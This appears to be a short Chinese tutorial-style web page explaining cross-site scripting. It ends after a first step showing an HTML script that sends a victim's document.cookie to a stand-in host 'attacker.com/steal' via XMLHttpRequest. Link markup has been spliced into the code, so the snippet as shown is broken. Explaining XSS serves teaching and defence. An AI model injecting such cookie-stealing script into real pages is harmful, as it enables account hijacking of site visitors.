XSS攻击的例子和对应的完整代码

时间: 2024-06-08 19:10:38 浏览: 3

XSS（跨站[脚本](https://geek.csdn.net/educolumn/093b3e5243538c1a64b04def9c71bb94?spm=1055.2569.3001.10083)攻击）是一种常见的Web安全漏洞，攻击者利用它可以注入恶意[脚本](https://geek.csdn.net/educolumn/093b3e5243538c1a64b04def9c71bb94?spm=1055.2569.3001.10083)[代码](https://geek.csdn.net/educolumn/1572ef9b473b4e00f6b2bf6d428b7c27?spm=1055.2569.3001.10083)到受害者的浏览器中执行，从而获取敏感信息或者控制受害者的账户。下面是一个简单的XSS攻击的例子和对应的完整[代码](https://geek.csdn.net/educolumn/1572ef9b473b4e00f6b2bf6d428b7c27?spm=1055.2569.3001.10083)： 1. 攻击者在自己的网站上创建了一个恶意页面，其中包含以下代码： ```html <script> var xhr = new [xmlhttprequest](https://geek.csdn.net/educolumn/14a763f266747f1c222d7efcadfa70dd?spm=1055.2569.3001.10083)(); xhr.open('GET', 'http://attacker.com/steal?cookie=' + document.cookie, true); xhr.send(); </script> ```